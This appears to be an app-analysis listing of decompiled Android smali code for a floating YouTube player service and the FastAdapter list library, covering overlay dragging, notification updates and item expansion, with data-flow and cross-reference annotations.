42pswitch_39: iget v1, v0, Landroid/view/WindowManager$LayoutParams;->x:I
43iput v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->b:I
44iget v0, v0, Landroid/view/WindowManager$LayoutParams;->y:I
45iput v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->c:I
47invoke-virtual {p2}, Landroid/view/MotionEvent;->getRawX()F
48move-result v0
49iput v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->d:F
51invoke-virtual {p2}, Landroid/view/MotionEvent;->getRawY()F
52move-result v0
53iput v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->e:F
54move v0, v2
55goto/16 :goto_2f
56pswitch_4f:
57invoke-virtual {p2}, Landroid/view/MotionEvent;->getRawX()F
58move-result v1
59iput v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->f:F
61invoke-virtual {p2}, Landroid/view/MotionEvent;->getRawY()F
62move-result v1
63iput v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->g:F
65sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->i:Landroid/widget/LinearLayout;
67invoke-virtual {v1, v5}, Landroid/widget/LinearLayout;->setVisibility(I)V
  • Data flow analysis:
    • p0: 8
69sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->h:Landroid/widget/LinearLayout;
71invoke-virtual {v1, v5}, Landroid/widget/LinearLayout;->setVisibility(I)V
  • Data flow analysis:
    • p0: 8
72iget v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->d:F
73iget v3, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->f:F
74iget v4, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->e:F
75iget v5, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->g:F
77invoke-direct {p0, v1, v3, v4, v5}, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->a(FFFF)Z
78move-result v1
79if-eqz v1, :cond_7a
81sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->J:Landroid/widget/ImageView;
83invoke-virtual {v0}, Landroid/widget/ImageView;->performClick()Z
84cond_78: move v0, v2
85goto/16 :goto_2f
86cond_7a:
87iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
88iget-boolean v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->Y:Z
89if-eqz v1, :cond_a0
91const-string v0, "Inside Close "
93const-string v1, "..."
95invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Inside Close
    • msg: ...
97iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
99invoke-virtual {v0, v2}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->stopForeground(Z)V
  • Data flow analysis:
    • removeNotification: 1
101iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
103invoke-virtual {v0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->stopSelf()V
105iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
106new-instance v1, Landroid/content/Intent;
108iget-object v3, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
109const-class v4, Lcom/pedqaesf/app/player/INSYouTubePlayerService;
111invoke-direct {v1, v3, v4}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
113invoke-virtual {v0, v1}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->stopService(Landroid/content/Intent;)Z
114goto/16 :goto_78
115cond_a0: sget-boolean v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->C:Z
116if-nez v1, :cond_78
117iget v1, v0, Landroid/view/WindowManager$LayoutParams;->x:I
119iget-object v3, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
120iget v3, v3, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->K:I
121div-int/lit8 v3, v3, 0x2
122if-le v1, v3, :cond_c8
124iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
125iget v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->K:I
127iget-object v3, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
128iget v3, v3, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->T:I
129sub-int/2addr v1, v3
131iget-object v3, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
132iget v3, v3, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->T:I
133div-int/lit8 v3, v3, 0x4
134add-int/2addr v1, v3
135iput v1, v0, Landroid/view/WindowManager$LayoutParams;->x:I
136goto_c0:
137sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->f:Landroid/view/WindowManager;
139sget-object v3, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->g:Landroid/widget/LinearLayout;
141invoke-interface {v1, v3, v0}, Landroid/view/WindowManager;->updateViewLayout(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
142goto/16 :goto_78
143cond_c8:
144iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
145iget v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->T:I
146neg-int v1, v1
147div-int/lit8 v1, v1, 0x4
148iput v1, v0, Landroid/view/WindowManager$LayoutParams;->x:I
149goto/16 :goto_c0
150pswitch_d2: iget v4, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->b:I
152invoke-virtual {p2}, Landroid/view/MotionEvent;->getRawX()F
153move-result v5
154iget v6, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->d:F
155sub-float/2addr v5, v6
156float-to-int v5, v5
157add-int/2addr v4, v5
158iget v5, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->c:I
160invoke-virtual {p2}, Landroid/view/MotionEvent;->getRawY()F
161move-result v6
162iget v7, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->e:F
163sub-float/2addr v6, v7
164float-to-int v6, v6
165add-int/2addr v5, v6
166sget-boolean v6, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->C:Z
167if-eqz v6, :cond_ff
168if-gez v4, :cond_102
169iput v3, v1, Landroid/view/WindowManager$LayoutParams;->x:I
170iput v3, v0, Landroid/view/WindowManager$LayoutParams;->x:I
171goto_f2: if-gez v5, :cond_11e
172iput v3, v1, Landroid/view/WindowManager$LayoutParams;->y:I
173iput v3, v0, Landroid/view/WindowManager$LayoutParams;->y:I
174goto_f8:
175sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->f:Landroid/view/WindowManager;
177sget-object v3, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
179invoke-interface {v0, v3, v1}, Landroid/view/WindowManager;->updateViewLayout(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
180cond_ff: move v0, v2
181goto/16 :goto_2f
182cond_102:
183iget-object v6, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
184iget v6, v6, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->R:I
185add-int/2addr v6, v4
187iget-object v7, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
188iget v7, v7, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->K:I
189if-le v6, v7, :cond_119
191iget-object v4, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
192iget v4, v4, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->K:I
194iget-object v6, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
195iget v6, v6, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->R:I
196sub-int/2addr v4, v6
197iput v4, v1, Landroid/view/WindowManager$LayoutParams;->x:I
198goto/16 :goto_f2
199cond_119: iput v4, v1, Landroid/view/WindowManager$LayoutParams;->x:I
200iput v4, v0, Landroid/view/WindowManager$LayoutParams;->x:I
201goto/16 :goto_f2
202cond_11e:
203iget-object v3, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
204iget v3, v3, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->S:I
205add-int/lit8 v3, v3, 0x37
206add-int/2addr v3, v5
208iget-object v4, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$4;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
209iget v4, v4, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->L:I
210if-le v3, v4, :cond_148
211sget-boolean v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->C:Z
212if-eqz v0, :cond_f8
214const-string v0, "APPDRAG"
215new-instance v3, Ljava/lang/StringBuilder;
217invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
219const-string v4, " newY: "
221invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: newY:
222move-result-object v3
224invoke-virtual {v3, v5}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
225move-result-object v3
227invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
228move-result-object v3
230invoke-static {v0, v3}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: APPDRAG
231goto/16 :goto_f8
232cond_148: iput v5, v1, Landroid/view/WindowManager$LayoutParams;->y:I
233iput v5, v0, Landroid/view/WindowManager$LayoutParams;->y:I
234goto/16 :goto_f8
235nop
Cross References
APIs
  • android.util.Log.d
  • android.widget.RemoteViews.setImageViewResource
  • android.app.NotificationManager.notify
  • java.lang.String.length
  • android.util.Log.d
  • android.widget.RemoteViews.setImageViewResource
  • android.app.NotificationManager.notify
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.d
  • com.pedqaesf.app.player.INSYouTubePlayerService.a
  • com.pedqaesf.app.player.INSYouTubePlayerService.f
  • android.widget.RemoteViews.setImageViewResource
  • android.app.NotificationManager.notify
Strings
  • Status
  • Buffering
  • Quality
  • If lenght
  • Less that 1
  • Setting
  • Playlist on Loop
  • Repeat Type
Position Instruction Meta Information
0.prologue
1const/4 v6, 0x2
2const/4 v5, 0x0
3const/16 v4, 0x65
4const v3, 0x7f0f00d3
5const/4 v2, 0x1
6const/4 v0, -0x1
7if-ne p0, v0, :cond_d
8sput-boolean v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->aa:Z
9cond_d: const/4 v0, 0x3
10if-ne p0, v0, :cond_29
12const-string v0, "Status"
14const-string v1, "Buffering"
16invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Status
    • msg: Buffering
18invoke-static {}, Lcom/pedqaesf/app/b;->a()Ljava/lang/String;
19move-result-object v0
21const-string v1, "Quality"
23invoke-static {v1, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Quality
25sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
27invoke-static {v0}, Lcom/pedqaesf/app/player/a;->c(Ljava/lang/String;)Ljava/lang/String;
28move-result-object v0
30invoke-static {v0}, Lcom/pedqaesf/app/player/c;->a(Ljava/lang/String;)V
31cond_29: if-ne p0, v2, :cond_8a
32sput-boolean v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->B:Z
34sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->D:Landroid/widget/RemoteViews;
35const v1, 0x7f020069
37invoke-virtual {v0, v3, v1}, Landroid/widget/RemoteViews;->setImageViewResource(II)V
  • Data flow analysis:
    • viewId: 2131689683
    • srcId: 2130837609
39sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->E:Landroid/widget/RemoteViews;
40const v1, 0x7f020069
42invoke-virtual {v0, v3, v1}, Landroid/widget/RemoteViews;->setImageViewResource(II)V
  • Data flow analysis:
    • viewId: 2131689683
    • srcId: 2130837609
44sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->H:Landroid/app/NotificationManager;
46sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->I:Landroid/app/Notification;
48invoke-virtual {v0, v4, v1}, Landroid/app/NotificationManager;->notify(ILandroid/app/Notification;)V
  • Data flow analysis:
    • id: 101
49sget-boolean v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->aa:Z
50if-eqz v0, :cond_53
51sput-boolean v5, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->aa:Z
53sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
55invoke-static {}, Lcom/pedqaesf/app/player/a;->f()Ljava/lang/String;
56move-result-object v0
58invoke-static {v0}, Lcom/pedqaesf/app/player/c;->a(Ljava/lang/String;)V
59cond_53:
60sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->z:Ljava/lang/String;
62invoke-virtual {v0}, Ljava/lang/String;->length()I
63move-result v0
64if-ge v0, v2, :cond_6b
66const-string v0, "If lenght"
68const-string v1, "Less that 1"
70invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: If lenght
    • msg: Less that 1
72sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
74invoke-static {}, Lcom/pedqaesf/app/player/a;->f()Ljava/lang/String;
75move-result-object v0
77invoke-static {v0}, Lcom/pedqaesf/app/player/c;->a(Ljava/lang/String;)V
78cond_6b: sget v0, Lcom/pedqaesf/app/b;->b:I
79if-ne v0, v2, :cond_89
80sget v0, Lcom/pedqaesf/app/b;->c:I
81if-ne v0, v2, :cond_89
82sget-boolean v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->aj:Z
83if-nez v0, :cond_89
85const-string v0, "Setting "
87const-string v1, "Playlist on Loop"
89invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Setting
    • msg: Playlist on Loop
91sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
93invoke-static {}, Lcom/pedqaesf/app/player/a;->h()Ljava/lang/String;
94move-result-object v0
96invoke-static {v0}, Lcom/pedqaesf/app/player/c;->a(Ljava/lang/String;)V
97sput-boolean v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->aj:Z
98goto_89: return-void
99cond_8a: if-ne p0, v6, :cond_aa
100sput-boolean v5, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->B:Z
101sget-boolean v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->G:Z
102if-nez v0, :cond_89
104sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->D:Landroid/widget/RemoteViews;
105const v1, 0x7f02006a
107invoke-virtual {v0, v3, v1}, Landroid/widget/RemoteViews;->setImageViewResource(II)V
  • Data flow analysis:
    • viewId: 2131689683
    • srcId: 2130837610
109sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->E:Landroid/widget/RemoteViews;
110const v1, 0x7f02006a
112invoke-virtual {v0, v3, v1}, Landroid/widget/RemoteViews;->setImageViewResource(II)V
  • Data flow analysis:
    • viewId: 2131689683
    • srcId: 2130837610
114sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->H:Landroid/app/NotificationManager;
116sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->I:Landroid/app/Notification;
118invoke-virtual {v0, v4, v1}, Landroid/app/NotificationManager;->notify(ILandroid/app/Notification;)V
  • Data flow analysis:
    • id: 101
119goto/16 :goto_89
120cond_aa: if-nez p0, :cond_89
121sget v0, Lcom/pedqaesf/app/b;->b:I
122if-ne v0, v2, :cond_df
124const-string v0, "Repeat Type "
125new-instance v1, Ljava/lang/StringBuilder;
127invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
128sget v2, Lcom/pedqaesf/app/b;->c:I
130invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
131move-result-object v1
133const-string v2, ""
135invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
136move-result-object v1
138invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
139move-result-object v1
141invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Repeat Type
142sget v0, Lcom/pedqaesf/app/b;->c:I
143if-ne v0, v6, :cond_d7
145sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
147invoke-static {}, Lcom/pedqaesf/app/player/a;->e()Ljava/lang/String;
148move-result-object v0
150invoke-static {v0}, Lcom/pedqaesf/app/player/c;->a(Ljava/lang/String;)V
151cond_d7: sget v0, Lcom/pedqaesf/app/b;->c:I
152if-nez v0, :cond_89
154invoke-static {}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->a()V
155goto/16 :goto_89
156cond_df: sget v0, Lcom/pedqaesf/app/b;->c:I
157if-lez v0, :cond_ed
159sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
161invoke-static {}, Lcom/pedqaesf/app/player/a;->a()Ljava/lang/String;
162move-result-object v0
164invoke-static {v0}, Lcom/pedqaesf/app/player/c;->a(Ljava/lang/String;)V
165goto/16 :goto_89
166cond_ed: sget-boolean v0, Lcom/pedqaesf/app/b;->f:Z
167if-ne v0, v2, :cond_f7
169sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->e:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
171invoke-direct {v0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->f()V
172goto/16 :goto_89
173cond_f7: sput-boolean v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ab:Z
175sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->D:Landroid/widget/RemoteViews;
176const v1, 0x7f02006f
178invoke-virtual {v0, v3, v1}, Landroid/widget/RemoteViews;->setImageViewResource(II)V
  • Data flow analysis:
    • viewId: 2131689683
    • srcId: 2130837615
180sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->E:Landroid/widget/RemoteViews;
181const v1, 0x7f02006f
183invoke-virtual {v0, v3, v1}, Landroid/widget/RemoteViews;->setImageViewResource(II)V
  • Data flow analysis:
    • viewId: 2131689683
    • srcId: 2130837615
185sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->H:Landroid/app/NotificationManager;
187sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->I:Landroid/app/Notification;
189invoke-virtual {v0, v4, v1}, Landroid/app/NotificationManager;->notify(ILandroid/app/Notification;)V
  • Data flow analysis:
    • id: 101
190goto/16 :goto_89
Cross References
APIs
  • com.mikepenz.a.b.e
  • java.util.List.size
  • android.util.SparseIntArray.size
  • android.util.SparseIntArray.keyAt
  • android.util.SparseIntArray.get
  • java.util.Set.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • java.lang.Integer.intValue
  • com.mikepenz.a.b.a
  • android.util.SparseIntArray.keyAt
  • android.util.SparseIntArray.get
  • android.util.SparseIntArray.keyAt
  • com.mikepenz.a.b.d
  • com.mikepenz.a.b.a
  • java.util.List.size
  • com.mikepenz.a.b.e
  • java.util.List.size
  • com.mikepenz.a.b.e
  • com.mikepenz.a.b.m
  • java.util.List.size
  • com.mikepenz.a.b.a
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0, p1}, Lcom/mikepenz/a/b;->e(I)Lcom/mikepenz/a/g;
3move-result-object v0
4if-eqz v0, :cond_b9
5instance-of v1, v0, Lcom/mikepenz/a/e;
6if-eqz v1, :cond_b9
7check-cast v0, Lcom/mikepenz/a/e;
9invoke-interface {v0}, Lcom/mikepenz/a/e;->a()Z
10move-result v1
11if-eqz v1, :cond_b9
13invoke-interface {v0}, Lcom/mikepenz/a/e;->b()Ljava/util/List;
14move-result-object v1
15if-eqz v1, :cond_b9
17invoke-interface {v0}, Lcom/mikepenz/a/e;->b()Ljava/util/List;
18move-result-object v1
20invoke-interface {v1}, Ljava/util/List;->size()I
21move-result v1
22if-lez v1, :cond_b9
23iget-boolean v1, p0, Lcom/mikepenz/a/b;->k:Z
24if-eqz v1, :cond_ba
26invoke-interface {v0}, Lcom/mikepenz/a/e;->b()Ljava/util/List;
27move-result-object v1
29invoke-interface {v1}, Ljava/util/List;->size()I
30move-result v2
32iget-object v1, p0, Lcom/mikepenz/a/b;->n:Landroid/util/SparseIntArray;
34invoke-virtual {v1}, Landroid/util/SparseIntArray;->size()I
35move-result v4
36const/4 v1, 0x0
37move v3, v1
38goto_36: if-ge v3, v4, :cond_5c
40iget-object v1, p0, Lcom/mikepenz/a/b;->n:Landroid/util/SparseIntArray;
42invoke-virtual {v1, v3}, Landroid/util/SparseIntArray;->keyAt(I)I
43move-result v1
44if-le v1, p1, :cond_121
46iget-object v1, p0, Lcom/mikepenz/a/b;->n:Landroid/util/SparseIntArray;
48invoke-virtual {v1, v3}, Landroid/util/SparseIntArray;->keyAt(I)I
49move-result v1
50add-int v5, p1, v2
51if-gt v1, v5, :cond_121
53iget-object v1, p0, Lcom/mikepenz/a/b;->n:Landroid/util/SparseIntArray;
55iget-object v5, p0, Lcom/mikepenz/a/b;->n:Landroid/util/SparseIntArray;
57invoke-virtual {v5, v3}, Landroid/util/SparseIntArray;->keyAt(I)I
58move-result v5
60invoke-virtual {v1, v5}, Landroid/util/SparseIntArray;->get(I)I
61move-result v1
62add-int/2addr v1, v2
63goto_57: add-int/lit8 v2, v3, 0x1
64move v3, v2
65move v2, v1
66goto/16 :goto_36
67cond_5c:
68iget-object v1, p0, Lcom/mikepenz/a/b;->m:Ljava/util/Set;
70invoke-interface {v1}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
71move-result-object v3
72cond_62:
73invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
74move-result v1
75if-eqz v1, :cond_84
77invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
78move-result-object v1
79check-cast v1, Ljava/lang/Integer;
81invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
82move-result v5
83if-le v5, p1, :cond_62
85invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
86move-result v5
87add-int v6, p1, v2
88if-gt v5, v6, :cond_62
90invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
91move-result v1
93invoke-direct {p0, v1, v3}, Lcom/mikepenz/a/b;->a(ILjava/util/Iterator;)V
94goto/16 :goto_62
95cond_84: add-int/lit8 v1, v4, -0x1
96move v7, v1
97move v1, v2
98move v2, v7
99goto_89: if-ltz v2, :cond_b6
101iget-object v3, p0, Lcom/mikepenz/a/b;->n:Landroid/util/SparseIntArray;
103invoke-virtual {v3, v2}, Landroid/util/SparseIntArray;->keyAt(I)I
104move-result v3
105if-le v3, p1, :cond_b3
107iget-object v3, p0, Lcom/mikepenz/a/b;->n:Landroid/util/SparseIntArray;
109invoke-virtual {v3, v2}, Landroid/util/SparseIntArray;->keyAt(I)I
110move-result v3
111add-int v4, p1, v1
112if-gt v3, v4, :cond_b3
114iget-object v3, p0, Lcom/mikepenz/a/b;->n:Landroid/util/SparseIntArray;
116iget-object v4, p0, Lcom/mikepenz/a/b;->n:Landroid/util/SparseIntArray;
118invoke-virtual {v4, v2}, Landroid/util/SparseIntArray;->keyAt(I)I
119move-result v4
121invoke-virtual {v3, v4}, Landroid/util/SparseIntArray;->get(I)I
122move-result v3
123sub-int/2addr v1, v3
125iget-object v3, p0, Lcom/mikepenz/a/b;->n:Landroid/util/SparseIntArray;
127invoke-virtual {v3, v2}, Landroid/util/SparseIntArray;->keyAt(I)I
128move-result v3
130invoke-direct {p0, v3, p2}, Lcom/mikepenz/a/b;->d(IZ)V
131cond_b3: add-int/lit8 v2, v2, -0x1
132goto/16 :goto_89
133cond_b6:
134invoke-direct {p0, v0, p1, p2}, Lcom/mikepenz/a/b;->a(Lcom/mikepenz/a/e;IZ)V
135cond_b9: return-void
136cond_ba:
137invoke-interface {v0}, Lcom/mikepenz/a/e;->b()Ljava/util/List;
138move-result-object v1
140invoke-interface {v1}, Ljava/util/List;->size()I
141move-result v2
142add-int/lit8 v1, p1, 0x1
143move v3, v1
144goto_c5: add-int v1, p1, v2
145if-ge v3, v1, :cond_ed
147invoke-virtual {p0, v3}, Lcom/mikepenz/a/b;->e(I)Lcom/mikepenz/a/g;
148move-result-object v1
149instance-of v4, v1, Lcom/mikepenz/a/e;
150if-eqz v4, :cond_11f
151check-cast v1, Lcom/mikepenz/a/e;
153invoke-interface {v1}, Lcom/mikepenz/a/e;->b()Ljava/util/List;
154move-result-object v4
155if-eqz v4, :cond_11f
157invoke-interface {v1}, Lcom/mikepenz/a/e;->a()Z
158move-result v4
159if-eqz v4, :cond_11f
161invoke-interface {v1}, Lcom/mikepenz/a/e;->b()Ljava/util/List;
162move-result-object v1
164invoke-interface {v1}, Ljava/util/List;->size()I
165move-result v1
166add-int/2addr v1, v2
167goto_e8: add-int/lit8 v2, v3, 0x1
168move v3, v2
169move v2, v1
170goto/16 :goto_c5
171cond_ed: add-int v1, p1, v2
172add-int/lit8 v2, v1, -0x1
173goto_f1: if-le v2, p1, :cond_119
175invoke-virtual {p0, v2}, Lcom/mikepenz/a/b;->e(I)Lcom/mikepenz/a/g;
176move-result-object v1
177instance-of v3, v1, Lcom/mikepenz/a/e;
178if-eqz v3, :cond_11d
179check-cast v1, Lcom/mikepenz/a/e;
181invoke-interface {v1}, Lcom/mikepenz/a/e;->a()Z
182move-result v3
183if-eqz v3, :cond_11d
185invoke-virtual {p0, v2}, Lcom/mikepenz/a/b;->m(I)V
187invoke-interface {v1}, Lcom/mikepenz/a/e;->b()Ljava/util/List;
188move-result-object v3
189if-eqz v3, :cond_11d
191invoke-interface {v1}, Lcom/mikepenz/a/e;->b()Ljava/util/List;
192move-result-object v1
194invoke-interface {v1}, Ljava/util/List;->size()I
195move-result v1
196sub-int v1, v2, v1
197goto_116: add-int/lit8 v2, v1, -0x1
198goto/16 :goto_f1
199cond_119:
200invoke-direct {p0, v0, p1, p2}, Lcom/mikepenz/a/b;->a(Lcom/mikepenz/a/e;IZ)V
201goto/16 :goto_b9
202cond_11d: move v1, v2
203goto/16 :goto_116
204cond_11f: move v1, v2
205goto/16 :goto_e8
206cond_121: move v1, v2
207goto/16 :goto_57
Cross References
APIs
  • com.mikepenz.a.a.c.g
  • com.mikepenz.a.a.c$a.a
  • com.mikepenz.a.a.c.g
  • com.mikepenz.a.a.c$a.performFiltering
  • com.mikepenz.a.a.c.b
  • com.mikepenz.a.b.g
  • java.util.List.size
  • com.mikepenz.a.a.c.b
  • com.mikepenz.a.a.c.c
  • com.mikepenz.a.b.h
  • java.util.List.isEmpty
  • java.util.List.clear
  • java.util.List.addAll
  • com.mikepenz.a.a.c.a
  • java.util.Collections.sort
  • com.mikepenz.a.a.c.b
  • com.mikepenz.a.b.f
  • com.mikepenz.a.a.c.b
  • com.mikepenz.a.b.d
  • com.mikepenz.a.a.c.b
  • com.mikepenz.a.b.f
  • com.mikepenz.a.a.c.b
  • com.mikepenz.a.b.e
  • com.mikepenz.a.a.c.b
  • com.mikepenz.a.b.e
  • com.mikepenz.a.a.c.b
  • com.mikepenz.a.b.j
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Ljava/util/List",
4"<TItem;>;Z)",
5"Lcom/mikepenz/a/a/c",
6"<TItem;>;"
7}
8.end annotation
9.prologue
10iget-boolean v0, p0, Lcom/mikepenz/a/a/c;->d:Z
11if-eqz v0, :cond_7
13invoke-static {p1}, Lcom/mikepenz/a/d/b;->a(Ljava/util/List;)Ljava/util/List;
14cond_7: if-eqz p2, :cond_27
16invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->g()Landroid/widget/Filter;
17move-result-object v0
18instance-of v0, v0, Lcom/mikepenz/a/a/c$a;
19if-eqz v0, :cond_27
21invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->g()Landroid/widget/Filter;
22move-result-object v0
23check-cast v0, Lcom/mikepenz/a/a/c$a;
